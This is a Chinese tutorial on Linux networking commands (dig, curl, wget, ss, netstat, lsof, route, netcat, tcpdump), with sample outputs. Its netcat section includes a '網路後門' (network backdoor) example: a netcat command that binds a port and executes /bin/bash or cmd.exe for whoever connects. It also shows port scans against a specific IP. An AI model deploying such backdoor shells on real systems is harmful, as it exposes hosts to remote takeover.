禁用所有不需要的部分,當然也會關掉 answer
,然後+answer
只顯示 answer
部分,這樣看起來簡潔些。
dig www.qq.com \
+noall \
+answer
查詢MX記錄
將MX作為引數,可以查詢mx記錄,可以使用 -t
增加型別
dig qq.com MX +noall +answer
; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> qq.com MX +noall +answer
;; global options: +cmd
qq.com. 4969 IN MX 10 mx3.qq.com.
qq.com. 4969 IN MX 20 mx2.qq.com.
qq.com. 4969 IN MX 30 mx1.qq.com.
查詢NS記錄
dig qq.com NS +noall +answer
查詢所有記錄
檢視所有記錄型別(A、MX、NS等),可以使用ANY作為型別。
dig qq.com ANY +noall +answer
; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> qq.com ANY +noall +answer
;; global options: +cmd
qq.com. 83 IN A 183.3.226.35
qq.com. 83 IN A 203.205.254.157
qq.com. 83 IN A 123.151.137.18
qq.com. 83 IN A 61.129.7.47
僅檢視記錄的IP
有些場景下,僅需要域名的ip地址(即a記錄),可以使用 +short
選項。
dig qq.com +short
123.151.137.18
203.205.254.157
183.3.226.35
61.129.7.47
+short
也可指定型別
dig qq.com a +short
111.30.144.71
112.53.26.232
dig qq.com mx +short
10 mx3.qq.com.
20 mx2.qq.com.
30 mx1.qq.com.
反向查詢
可以使用dig-x
進行ip地址反向查詢DNS,場景:如果只有一個外部ip地址,並且希望知道屬於它的網站時。當然過了CDN的域名,只會顯示對應CNAME
dig -x 203.205.254.157 +short
使用指定DNS來進行查詢
預設情況下,dig 使用 /etc/resolv.conf
檔案中定義的DNS。如果要使用其他DNS執行查詢,使用 @dnsserver
。
dig @8.8.8.8 www.qq.com +short
ins-r23tsuuf.ias.tencent-cloud.net.
109.244.236.76
109.244.236.65
批量查詢
進行批量查詢時可以不用通過shell迴圈查詢了,dig提供了批量查詢的功能。使用dig -f
從檔案內進行批量DNS查詢。
echo www.qq.com > dns.txt
echo www.baidu.com >> dns.txt
dig -f dns.txt +noall +answer
www.baidu.com. 678 IN CNAME www.a.shifen.com.
www.a.shifen.com. 106 IN A 14.215.177.39
www.a.shifen.com. 106 IN A 14.215.177.38
www.qq.com. 60 IN CNAME ins-r23tsuuf.ias.tencent-cloud.net.
ins-r23tsuuf.ias.tencent-cloud.net. 60 IN A 109.244.236.65
ins-r23tsuuf.ias.tencent-cloud.net. 60 IN A 109.244.236.76
也可以在命令列直接根多個域名即可,這樣查詢結果相比於shell迴圈查詢會簡潔很多。
dig qq.com mx +noall +answer baidu.org ns +noall +answer
; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> qq.com mx +noall +answer baidu.org ns +noall +answer
;; global options: +cmd
qq.com. 4223 IN MX 10 mx3.qq.com.
qq.com. 4223 IN MX 20 mx2.qq.com.
qq.com. 4223 IN MX 30 mx1.qq.com.
baidu.org. 300 IN NS ns4.brandshelter.net.
baidu.org. 300 IN NS ns3.brandshelter.info.
baidu.org. 300 IN NS ns2.brandshelter.de.
baidu.org. 300 IN NS ns5.brandshelter.us.
baidu.org. 300 IN NS ns1.brandshelter.com.
設定dig預設選項
如別名 alias
一樣,在查詢中不想輸入過多的 +noall +answer
之類,可以在 $HOME/.digrc
設定dig 的預設引數,這樣只需和平時一樣使用 dig domain
即可。
cat <<EOF >${HOME}/.digrc
+noall +answer
EOF
dig www.qq.com
www.qq.com. 247 IN CNAME ins-r23tsuuf.ias.tencent-cloud.net.
ins-r23tsuuf.ias.tencent-cloud.net. 67 IN A 109.244.236.76
ins-r23tsuuf.ias.tencent-cloud.net. 67 IN A 109.244.236.6
wget & curl
wget
用於從web下載檔案的命令列程式。wget,可以使用 HTTP
、HTTPS
和 FTP
協議下載檔案。wget還允許下載多個檔案、斷點續傳、限速、遞迴下載、後臺下載、映象網站等等。
curl
是Linux命令列工具,可以使用任何可支援的協議(如HTTP、FTP、IMAP、POP3、SCP、SFTP、SMTP、TFTP、TELNET、LDAP或FILE)在伺服器之間傳輸資料。
在Linux下,curl是由 libcurl
提供驅動封裝的cli客戶端,在 libcurl
驅動下,curl可以一次傳輸多個檔案。而PHP中的cURL函式,也是基於libcurl驅動的。
各系統下的安裝
- Ubuntu/Debian:
curl
|wget
;apt install curl
|apt install wget
- Centos/Fedora:
curl
|wget
;yum install -y curl
|yum install -y wget
- Apline:
curl
|wget
;apk add --no-cache curl
|apk add --no-cache wget
curl
cURL常用引數
引數 | 說明 |
---|---|
-i | 預設隱藏響應頭,此選項列印響應頭與 |
-I/--head | 僅顯示響應頭 |
-o | 將相應內容儲存指定路徑下 |
-O | 將相應內容儲存在當前工作目錄下 |
-C | 斷點續傳,在 crtl + c終端後,可以從中斷後部分開始 |
-v | 顯示請求頭與響應頭 |
-x | 使用代理 |
-X | 指定請求方法,POST GET PUT DELETE等 |
-d | 如GET/POST/PUT/DELETE 需要傳的表單引數,如JSON格式 |
-u username:password | 當使用ftp有使用者名稱可以使用-u,ftp允許匿名使用者訪問可以忽略 |
–-limit-rate 2000B | 限速 |
-T/--upload-file <file> | 上傳一個檔案 |
-c/--cookie-jar <file name> | 將cookie下載到檔案內 |
-k/--insecure | 允許執行不安全的ssl連線,即調過SSL檢測 |
--header 'Host: targetapplication.com' |
使用請求頭 |
-L/--location | 接受服務端redirect的請求 |
-F | 上傳二進位制檔案 |
限制下載速率
curl --limit-rate 100K http://yourdomain.com/yourfile.tar.gz -O
使用代理訪問
curl --proxy yourproxy:port https://yoururl.com
限速訪問
curl www.baidu.com --limit-rate 1k
儲存cookie和使用cookie
[root@VM-0-2-centos ~]# curl --cookie-jar cnncookies.txt https://www.baidu.com/index.html -O -s -v
* About to connect() to www.baidu.com port 443 (#0)
* Trying 14.215.177.39...
* Connected to www.baidu.com (14.215.177.39) port 443 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
* CAfile: /etc/pki/tls/certs/ca-bundle.crt
CApath: none
* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
* Server certificate:
* subject: CN=baidu.com,O="Beijing Baidu Netcom Science Technology Co., Ltd",OU=service operation department,L=beijing,ST=beijing,C=CN
* start date: Apr 02 07:04:58 2020 GMT
* expire date: Jul 26 05:31:02 2021 GMT
* common name: baidu.com
* issuer: CN=GlobalSign Organization Validation CA - SHA256 - G2,O=GlobalSign nv-sa,C=BE
> GET /index.html HTTP/1.1
> User-Agent: curl/7.29.0
> Host: www.baidu.com
> Accept: */*
>
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
< Connection: keep-alive
< Content-Length: 2443
< Content-Type: text/html
< Date: Wed, 26 May 2021 12:14:41 GMT
< Etag: "58860402-98b"
< Last-Modified: Mon, 23 Jan 2017 13:24:18 GMT
< Pragma: no-cache
< Server: bfe/1.0.8.18
* Added cookie BDORZ="27315" for domain baidu.com, path /, expire 1622117681
< Set-Cookie: BDORZ=27315; max-age=86400; domain=.baidu.com; path=/
<
{ [data not shown]
* Connection #0 to host www.baidu.com left intact
# Netscape HTTP Cookie File
# http://curl.haxx.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
.baidu.com TRUE / FALSE 1622117681 BDORZ 27315
[root@VM-0-2-centos ~]# curl --cookie cnncookies.txt https://www.baidu.com -s -v -o /dev/null
* About to connect() to www.baidu.com port 443 (#0)
* Trying 14.215.177.39...
* Connected to www.baidu.com (14.215.177.39) port 443 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
* CAfile: /etc/pki/tls/certs/ca-bundle.crt
CApath: none
* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
* Server certificate:
* subject: CN=baidu.com,O="Beijing Baidu Netcom Science Technology Co., Ltd",OU=service operation department,L=beijing,ST=beijing,C=CN
* start date: Apr 02 07:04:58 2020 GMT
* expire date: Jul 26 05:31:02 2021 GMT
* common name: baidu.com
* issuer: CN=GlobalSign Organization Validation CA - SHA256 - G2,O=GlobalSign nv-sa,C=BE
> GET / HTTP/1.1
> User-Agent: curl/7.29.0
> Host: www.baidu.com
> Accept: */*
> Cookie: BDORZ=27315
>
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
< Connection: keep-alive
< Content-Length: 2443
< Content-Type: text/html
< Date: Wed, 26 May 2021 12:23:27 GMT
< Etag: "58860402-98b"
< Last-Modified: Mon, 23 Jan 2017 13:24:18 GMT
< Pragma: no-cache
< Server: bfe/1.0.8.18
* Replaced cookie BDORZ="27315" for domain baidu.com, path /, expire 1622118207
< Set-Cookie: BDORZ=27315; max-age=86400; domain=.baidu.com; path=/ # 這裡可以看到設定的cookie
<
{ [data not shown]
* Connection #0 to host www.baidu.com left intact
使用代理
curl -x socks5://127.0.0.1:10808 https://www.google.com
使用application/x-www-form-urlencoded表單型別
這裡使用的為application/x-www-form-urlencoded
curl -d "option=value&something=anothervalue" -X POST https://{hostname}/
使用json格式作為body
curl -H "Content-Type: application/json" -X POST https://host.com/ \
-d '
{
"option": "value",
"something": "anothervalue"
}'
使用curl 上傳檔案
curl {host}/api/v1/upimg -F "file=@/Users/fungleo/Downloads/401.png" \
-H "token: 222" \
-v
也可以指定MIME
型別。如:
curl -F 'file=@photo.png;type=image/png' https://{host}/api/v1/upimg
curl輸出的格式變數
curl -w引數提供了一些格式變數,可以達到緊緊獲取某些資料
僅獲取http狀態碼
curl -w %{http_code} www.baidu.com -o /dev/null -s
獲取整個請求的時間
獲取整個請求的耗時,單位秒,顯示單位 毫秒
curl -w %{time_total} www.baidu.com -o /dev/null -s
獲取域名解析時間
curl -w %{time_namelookup} www.baidu.com -o /dev/null -s
獲取TCP連線耗時
curl -w %{time_connect} www.baidu.com -o /dev/null -s
獲取SSL/SSH握手到遠端主機耗時
curl -w %{time_appconnect} https://www.baidu.com -o /dev/null -s -v
獲取所有重定向的耗時
這裡是從查詢、連線、傳輸整個事務的完成到開始傳送資料之前的耗時
curl -w %{time_redirect} www.baidu.com -o /dev/null -s
獲得下載的總位元組數
這裡是http相應的body長度,而不是加上頭部的大小
curl -w %{size_download} www.baidu.com -o /dev/null -s
[root@VM-0-2-centos ~]# curl -w %{size_download} www.baidu.com -o /dev/null -s
2381
[root@VM-0-2-centos ~]# cwww.baidu.com -s|wc l -s
2 159 2381
獲得請求體送位元組數
curl -w %{size_request} www.baidu.com -o /dev/null -s
獲得傳輸中的連線數
curl -w %{num_connects} www.baidu.com -o /dev/null -s
獲得重定向次數
curl -w %{num_redirects} www.360buy.com -o /dev/null -s -L
獲得SSL驗證結果
0 表示是成功的
curl -w %{ssl_verify_result} https://www.baidu.com -o /dev/null -s -L
獲得重定向的地址
當沒有指定-L
時,會返回被重定向後的地址
curl -w %{redirect_url} https://www.360buy.com -o /dev/null -s
獲得上傳和下載速度
curl -w %{speed_download} https://www.360buy.com -o /dev/null -s
curl -w %{speed_upload} https://www.360buy.com -o /dev/null -s
根據自己需要拼接特定格式
curl -w "總共請求時長:%{time_total}\n總跳轉次數:%{num_redirects}\n" \
www.360buy.com \
-o /dev/null -s \
-L
總共請求時長:1.338
總跳轉次數:3
wget
簡單使用
使用wget最簡單的方法是為它提供通過HTTP下載的檔案的位置。如,下載檔案。
wget http://website.com/files/file.zip
該操作會將檔案下載到工作目錄中。
下載檔案並儲存為指定名稱
wget –O [file_name] [URL]
將檔案下載到指定目錄
預設情況下,wget下載的檔案儲存在使用者所在工作目錄中。使用 –P
可以將檔案儲存到指定路徑。
wget –P [wanted_directory] [URL]
設定下載速度
在下載時可以設定下載時最大使用頻寬,這樣就不會使用主機全部的可用頻寬。下載速度以 k
和 m
定義單位。
wget --limit-rate [wanted_speed] [URL]
wget --limit-rate 1m http://us.download.nvidia.com/tesla/396.37/nvidia-diag-driver-local-repo-ubuntu1710-396.37_1.0-1_amd64.deb
斷點續傳
如果在下載時取消,wget提供了可以在中斷前停止的地方繼續下載。當下載檔案時連線丟失時,這個非常有用。
wget –c [URL]
下載多個檔案
wget也提供了下載多個檔案的方法:
方法1:將需要下載的檔案地址儲存在檔案中 使用 -i
指定檔案,每個URL 單獨佔一行
wget –i [file_name]
下載網頁(網站映象)
使用 –m
下載URL中包含的所有連線,結果會儲存為一個資料夾
wget –m [URL]
FTP下載
wget也可以下載FTP檔案,當需要認證時,可以指定FTP的使用者名稱和密碼,然後接FTP地址:
wget --ftp-user=[ftp_username] --ftp-password=[ftp_password] ftp://...
後臺下載
當下載檔案很大時,wget也支援後臺下載檔案,在網路不穩定命令列斷開時很實用。
wget –b [URL]
可以使用命令 tail –f wget –log
來檢查下載狀態
中斷重試次數
當網路中斷後,wget也支援設定在網路中斷後嘗試下載檔案的次數:
wget --tries=[number_of_tries] [URL]
忽略證照驗證
預設情況下,wget會驗證服務端SSL/TLS證照是否有效。如果識別到無效的證照,它將拒絕下載。當在訪問自簽名證照時,可以使用--no-check-certificate
忽略驗證
wget --no-check-certificate [URL]
自定義User-Agent
當服務端阻止了特定的 User-Agent
時,可以進行自定義 User-Agent
設定。
wget --user-agent=”User Agent Here” “[URL]”
實用技巧-下載內容到標準輸出stdout
如在下載一個tar包時,一般都是wget 後 在tar 解壓到對應目錄,可以使用 -O -
將其下載到標準輸出,-q
靜默方式,通過管道直接解壓到對應的路徑下。
wget -q -O - "http://wordpress.org/latest.tar.gz" | tar -xzf - -C /var/www
netstat & ss
netstat
(network statistics) 命令列工具,用於監視傳入和傳出的網路連線,以及檢視路由表、介面統計等。netstat在所有類似Unix的作業系統上都可用,在Windows作業系統上也可用,是最基本的網路服務除錯工具。
ss
(socket statistics) 命令列工具,用於在Linux系統上顯示與網路套接字相關的資訊。
不過,現在netstat
命令早已被棄用,取而代之的是 iproute
套件中的 ss
。ss比起 netstat
,ss
能夠顯示有關網路連線的詳細資訊,並且速度更快。netstat
從 /proc
檔案收集資訊,當有大量連線要列印時,netstat
效率很低。而ss
是直接從核心空間獲取資訊。並且ss
命令在使用起來與netstat
非常相似,使用者幾乎可以無縫切換。
各系統下的安裝
ss
Ubuntu/Debian:
iproute2
;apt install iproute2
Centos/Fedora:
iproute
;yum install -y iproute
Apline:
iproute
;apk add --no-cache iproute
netstat
Ubuntu/Debian:
net-tools
;apt install net-tools
Centos/Fedora:
net-tools
;yum install -y net-tools
Apline:
net-tools
;apk add --no-cache net-tools
ss
檢視所有連線
沒有任何選項的ss命令只列出所有連線。
檢視Listening 與 Non-listening Ports
ss -a
檢視監聽 套接字列表
這裡列出所有監聽套接字,不關其是服務監聽還是客戶端請求佔用
ss -l
檢視所有TCP連線
這裡只所有的tcp連線, 包含客戶端與服務端
ss -t
檢視所有監聽型別的tcp連線
ss -lt
檢視所有udp連線
ss -ua
檢視監聽型別的UDP連線
ss -lu
顯示socket的pid程式id
ss -p
顯示連線摘要資訊
ss -s
顯示ipv6或ipv4 連線
ss -4
ss -6
篩選連線
語法
ss [ OPTIONS ] [ STATE-FILTER ] [ ADDRESS-FILTER ]
ss命令還提供了篩選方法,過濾套接字埠或地址。例如,要顯示具有ssh服務的源埠與目標埠(即監聽與客戶端連線)。
ss -at '( dport = :22 or sport = :22 )'
也可以通過服務名稱進行過濾
ss -at '( dport = :ssh or sport = :ssh )'
僅顯示所有處於 established
狀態的Ipv4 tcp套接字。
ss -t4 state established -n
Recv-Q Send-Q Local Address:Port Peer Address:Port
0 0 172.16.0.2:22 61.50.248.5:22005
0 0 172.16.0.2:42930 169.254.0.55:5574
0 0 172.16.0.2:22 61.50.248.5:22008
0 0 172.16.0.2:22 61.50.248.5:22003
0 0 172.16.0.2:40652 94.130.12.30:443
0 36 172.16.0.2:22 61.50.248.5:22012
0 0 172.16.0.2:22 61.50.248.5:22004
列出狀態為time wait的套接字
ss -t4 state time-wait -n
這裡狀態可以為下面的任意一種
- established
- syn-sent
- syn-recv
- fin-wait-1
- fin-wait-2
- time-wait
- closed
- close-wait
- last-ack
- closing
- all 上面所有狀態
- connected 除listen和closed之外的所有狀態
- synchronized 除syn-sent之外的所有連線狀態
- 顯示狀態,這些被維護為mini sockets,即
time-wait
與syn-recv
- big 與bucket選項相反
過濾地址
ss -nt dst 74.125.236.178
還可以過濾網段
ss -nt dst 74.125.236.178/16
ip和埠的組合
ss -nt dst 74.125.236.178:80
源地址為127.0.0.1,且源埠大於5000
ss -nt src 127.0.0.1 sport gt :5000
源埠為25的smtp套接字
ss -ntlp sport eq :smtp
埠號大於25
ss -nt sport gt :1024
遠端埠小於100的套接字
ss -nt dport \< :100
連線到遠端80埠的
ss -nt state connected dport = :80
不解析主機名
可以通過 -n
選項阻止ss 將ip解析為主機名,來達到更快地獲得輸出,但這也無法進行到埠號的解析。
ss -at '( dport = :22 or sport = :22 )'
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:ssh *:*
ESTAB 0 0 172.16.0.2:ssh 111.206.214.55:49374
ESTAB 0 0 172.16.0.2:ssh 61.50.248.5:optohost005
ESTAB 0 36 172.16.0.2:ssh 61.50.248.5:22008
ESTAB 0 0 172.16.0.2:ssh 61.50.248.5:optohost003
ESTAB 0 0 172.16.0.2:ssh 61.50.248.5:optohost004
LISTEN 0 128 [::]:ssh [::]:*
ss -at '( dport = :22 or sport = :22 )' -n
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:22 *:*
ESTAB 0 0 172.16.0.2:22 111.206.214.55:49374
ESTAB 0 0 172.16.0.2:22 61.50.248.5:22005
ESTAB 0 36 172.16.0.2:22 61.50.248.5:22008
ESTAB 0 0 172.16.0.2:22 61.50.248.5:22003
ESTAB 0 0 172.16.0.2:22 61.50.248.5:22004
LISTEN 0 128 [::]:22 [::]:*
僅顯示監聽套接字
ss -ltn
要列出所有偵聽的udp連線,請將t替換為u
ss -lun
顯示時間資訊
可以使用 -o
選項,來獲得每個連線的時間資訊。通過timer得知
ss -tn -o
State Recv-Q Send-Q Local Address:Port Peer Address:Port
ESTAB 0 0 172.16.0.2:22 61.50.248.5:22005 timer:(keepalive,40min,0)
ESTAB 0 0 172.16.0.2:42930 169.254.0.55:5574
ESTAB 0 0 172.16.0.2:22 61.50.248.5:22008 timer:(keepalive,64min,0)
ESTAB 0 0 172.16.0.2:44900 169.254.0.55:80 timer:(keepalive,13sec,0)
ESTAB 0 0 172.16.0.2:22 61.50.248.5:22003 timer:(keepalive,40min,0)
ESTAB 0 36 172.16.0.2:22 61.50.248.5:22012 timer:(on,347ms,0)
ESTAB 0 0 172.16.0.2:39316 94.130.12.30:443 timer:(keepalive,50sec,0)
ESTAB 0 0 172.16.0.2:22 61.50.248.5:22004 timer:(keepalive,40min,0)
netstat
- 列出所有tcp與udp的連線的所有埠
netstat -a
- 僅列出tcp (Transmission Control Protocol) 埠的連線
netstat -at
- 僅列出udp (User Datagram Protocol ) 埠的連線
netstat -au
- 列出所有活動監聽埠連線
netstat -l
- 列出TCP監聽埠
netstat -lt
- 列出udp監聽埠
netstat -lu
- 列出unix socket 監聽埠
netstat -lx
- 顯示統計資訊
netstat -s
- 顯示tcp的統計資訊
netstat -st
- 顯示udp的統計資訊
netstat -su
- 顯示服務名與PID號
netstat -tp
- 顯示混雜模式,類似
watch
每5s 重新整理netstat -ac 5 | grep tcp
- 顯示核心路由表,類似
route -n
命令;netstat -r
- 顯示網路介面資料包事務,包括傳輸和接收MTU大小的資料包。
netstat -i
- 顯示核心介面表,類似
ifconfig
命令。netstat -ie
- 顯示IPv4和IPv6的廣播資訊。
netstat -g
- 混雜模式,間隔時間列印netstat命令的資訊
netstat -c [second] -ltnp
- 顯示原始網路資訊統計
netstat --statistics --raw
lsof
lsof (LiSt Open Files),主要用來找出哪個程式開啟了哪些檔案。眾所周知,Linux是一個基於檔案的作業系統(管道、套接字、目錄、裝置等)。使用lsof也可以排查一些網路問題。如未關閉的檔案不能被移動或刪除,網路埠使用的檔案等,都可以通過lsof快速定位。
各系統下的安裝
- Ubuntu/Debian:
lsof
;apt install lsof
- Centos/Fedora:
lsof
;yum install -y lsof
- Apline:
lsof
;apk add lsof --no-cache
列出所有開啟的檔案
不帶任何引數的情況下執行lsof,可以列出所有開啟的檔案
lsof
列出使用者程式使用的檔案
lsof 可以檢視特定使用者程式使用的哪些檔案,使用-u
lsof -u root
根據網路地址查詢檔案
lsof -i 4
按照程式名稱列出所打卡的檔案
這裡不必使用完整的程式名,會列出所有以 name開頭的程式應用使用的檔案
lsof -u nginx
列出程式使用的檔案
使用 -p [pid]
k可以顯示程式開啟的檔案,可以通過 ^
來排除特定的PID。
lsof -p [pid]
lsof -p [^pid]
找到使用檔案的程式
使用 -t
餐食可以找到哪些程式使用了該檔案
lsof -t [file_name]
列出目錄中所有開啟的檔案
+D
餐食可以對目錄的所有開啟例項(包括它包含的所有檔案和目錄)進行搜尋。
lsof +D [dir]
列出網路檔案
-i
偵聽特定埠號的程式或應用程式,如檢查了哪個程式程式正在使用埠80。
lsof -i:80
還可以根據埠範圍程式查詢
lsof -i:1-1024
根據網路連線型別來查詢檔案
lsof還可以根據連線的型別列出檔案。例如,TCP使用的檔案
lsof -i tcp
拿到程式的父程式ID
lsof -R
可以拿到程式的父程式IP輸出中列出父程式標識(PPID Parent Process IDentification)。
lsof -p [] -R
檢視使用者的網路連線
結合使用 -i
和 -u
命令列選項,我們可以搜尋Linux使用者的所有網路連線。可以按照需要檢查一個被黑客攻擊的系統,如我們檢查使用者root的所有網路活動:
lsof -a -i -u root
列出所有記憶體對映檔案
lsof -d mem
route
在Linux中,route命令用於處理IP/核心路由表。主要用於通過網路介面建立到主機/IP的靜態路由。它用於顯示或更新IP/核心路由表。
各系統下的安裝
- Ubuntu/Debian:
net-tools
;apt install net-tools
- Centos/Fedora:
net-tools
;yum install -y net-tools
- Apline:
net-tools
;apk add net-tools --no-cache
route命令不加任何引數,預設情況下將顯示核心路由表條目的詳細資訊。當包在這個路由IP範圍內傳送時,通過ARP協議找到目的地的MAC地址,包將被髮送到MAC地址。
當在路由條目中找不到對應的路由資訊,資料包將被轉發到預設閘道器,該閘道器決定該資料包的進一步路由。
route命令不加引數,會在輸出時顯示為主機名,這時解析會影響效能。可以使用 -n
選項請求不顯示主機名。
route -n
新增預設閘道器
可以使用 route add
命令新增一個預設閘道器。
route add default gw 10.0.0.1
新增一條路由
這裡新增一條,將通過10.0.0.0/24的流量由eth0裝置通過 新增一條路由,如下所示。
route add -net 10.0.0.0 netmask 255.255.255.0 dev eth0
-net 目標網路
dev 將規則和裝置關聯在一起
新增一個目標主機
route add -host 12.123.0.10 gw 192.168.1.1 enp0s3
列出核心路由表資訊
核心維護了路由快取以更快地路由資料包。可以使用 -C
來列印核心的路由快取資訊。
route -Cn
Kernel IP routing cache
Source Destination Gateway Flags Metric Ref Use Iface
10.0.0.4 10.0.0.1 10.0.0.1 0 1 0 eth0
10.0.0.1 10.0.0.4 10.0.0.4 il 0 0 44 lo
10.0.0.1 10.0.0.255 10.0.0.255 ibl 0 0 7 lo
拒絕路由到特定的主機
有些場景下,可能需要拒絕資料包路由到特定的主機/網路。
route add -host 192.168.1.51 reject
可以看到路由已經不會路由該流量了
ping 10.0.0.2
connect: No route to host
如果需要拒絕整個網路可以這樣
route add -net 192.168.1.0 netmask 255.255.255.0 reject
刪除一條路由
# 刪除預設路由
route del default
# 刪除剛才新增的拒絕路由
route del -host 10.0.0.2 reject
ncat & netcat(nc) & nmap
netcat
netcat(簡稱nc)是一款功能強大的網路命令列工具,用於在Linux中執行與TCP、UDP或UNIX域套接字相關的任何操作。netcat可以用於埠掃描、埠重定向,作為埠監聽器(用於傳入連線);它還可以用來開啟遠端連線和其他許多事情。此外,還可以將其用作訪問目標伺服器的後門。netcat還因此被稱為TCP/IP的“瑞士軍刀”。
各系統下的安裝
- Ubuntu/Debian:
netcat
;apt install netcat
- Centos/Fedora:
nc
;yum install -y nc
- Apline:
netcat-openbsd
;apk add --no-cache netcat-openbsd
埠掃描
netcat可以用於埠掃描:瞭解哪些埠是開放的,並且在目標機器上執行服務。它可以掃描單一或多個開防的埠。如示例,-z
選項將nc設定為只掃描監聽守護程式,而不實際向它們傳送任何資料。-v
選項啟用詳細模式,-w
為無法建立連線時超時時間。
nc -v -w 10 -z 195.133.11.43 22
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 195.133.11.43:22.
Ncat: 0 bytes sent, 0 bytes received in 0.25 seconds.
也可以掃描一個範圍
nc -v -n -z -w 1 127.0.0.1 1-1000
在伺服器間傳送檔案
netcat可以在兩臺伺服器之間傳輸檔案,這兩個系統都必須安裝nc。例如,要將ISO映像檔案從一臺計算機複製到另一臺計算機並監視傳輸進度(使用pv),請在傳送方/接收端上執行以下命令。
將以netcat
的監聽模式 -l
。
tar -zcf - debian-10.0.0-amd64-xfce-CD-1.iso | pv | nc -l -p 3000 -q 5
在接受端執行命令
nc 192.168.1.4 3000 | pv | tar -zxf -
使用netcat實現一個命令列聊天伺服器
可以使 netcat
建立一個簡單的命令列訊息伺服器,前提條件是nc必須安裝在兩個系統上。在服務端,執行命令來建立監聽埠5555的聊天伺服器。
nc -l -vv -p 5000
在客戶端上,執行命令連線到服務端進行聊天會話。
nc {ip} 5000
使用nc建立一個web伺服器
使用nc -l
選項可以建立一個基礎的不安全的web伺服器,需要一個靜態html檔案。然後可以通過 while
保持netcat命令不退出。正常情況下,netcat在連線斷開時退出。
while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat 1.html; ) | nc -l -p 8080 ; done
[root@vm207694 ~]# while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat 1.html; ) | nc -l -p 8080 ; done
GET / HTTP/1.1
Host: ip:8080
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
網路故障排查
netcat 主要常用的一個方面時排查網路連線故障,可以使用 netcat
來驗證伺服器正在傳送哪些資料以響應客戶端發出的命令。
使用命令的可以輸出包括web伺服器傳送的標頭,這些標頭可用於故障排除。也可以使用 curl
等命令進行同樣的操作。
printf "GET / HTTP/1.0\r\n\r\n" | nc baidu.com 80
HTTP/1.1 200 OK
Date: Mon, 28 Jun 2021 12:16:55 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Tue, 29 Jun 2021 12:16:55 GMT
Connection: Close
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
查詢埠上執行的服務
使用 netcat
可以獲取服務監聽埠的資訊,單一般情況下,僅常見公共服務會這樣,一些服務並不會相應對應的應用名稱。。-n
標誌表示禁用DNS或服務查詢。
nc -v -n 195.133.11.43 22
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 195.133.11.43:22.
SSH-2.0-OpenSSH_7.4
網路後門
一般情況下,黑客將 netcat
當作網路後門來執行,通過反彈式shell以獲取遠端命令。要充當後門。-e
在目標系統上執行的命令。
如監聽一個埠,並將所有傳入的輸入傳遞給bash命令,結果將傳送於客戶端。
# linux
nc -l -p -v 3001 -e /bin/bash
# windows
nc -l -p 3001 -e cmd.exe
檢查一個udp埠
-z
:無法進行I/O
,僅報告連線狀態
-u
:使用udp協議
nc -vz -u
tcpdump
tcpdump網路嗅探器,將強大和簡單結合到一個單一的命令列介面中,能夠將網路中的報文抓取,輸出到螢幕或者記錄到檔案中。
各系統下的安裝
- Ubuntu/Debian:
tcpdump
;apt-get install -y tcpdump
- Centos/Fedora:
tcpdump
;yum install -y tcpdump
- Apline:
tcpdump
;apk add tcpdump --no-cache
檢視指定介面上的所有通訊
語法
引數 | 說明 |
---|---|
-i [interface] | |
-w [flle] | 第一個n表示將地址解析為數字格式而不是主機名,第二個N表示將埠解析為數字格式而不是服務名 |
-nn | |
-X | hex and ASCII |
-A | ASCII |
-XX | |
-v | 詳細資訊 |
-r | 讀取檔案而不是實時抓包 |
關鍵字 | |
type | host、net、port、portrange |
direction | src、dst、src or dst 、src and ds |
protocol | ether、ip,arp、tcp、udp、wlan |
捕獲所有網路介面
tcpdump -D
按IP查詢流量
最常見的查詢之一 host
,可以看到來往於 1.1.1.1
的流量。
tcpdump host 1.1.1.1
按源/目的 地址過濾
如果只想檢視來自/向某方向流量,可以使用 src
和 dst
。
tcpdump src|dst 1.1.1.1
通過網路查詢資料包
使用 net
選項,來要查詢出/入某個網路或子網的資料包。
tcpdump net 1.2.3.0/24
使用十六進位制輸出資料包內容
hex
可以以16進位制輸出包的內容
tcpdump -c 1 -X icmp
檢視特定埠的流量
使用 port
選項來查詢特定的埠流量。
tcpdump port 3389
tcpdump src port 1025
查詢埠範圍的流量
tcpdump portrange 21-23
過濾包的大小
如果需要查詢特定大小的資料包,可以使用以下選項。你可以使用 less
,greater
。
tcpdump less 32
tcpdump greater 64
tcpdump <= 128
捕獲流量輸出為檔案
-w
可以將資料包捕獲儲存到一個檔案中以便將來進行分析。這些檔案稱為PCAP
(PEE-cap)檔案,它們可以由不同的工具處理,包括 Wireshark
。
tcpdump port 80 -w capture_file
組合條件
tcpdump也可以結合邏輯運算子進行組合條件查詢
-
AND
and
or&&
-
OR
or
or||
-
EXCEPT
not
or!
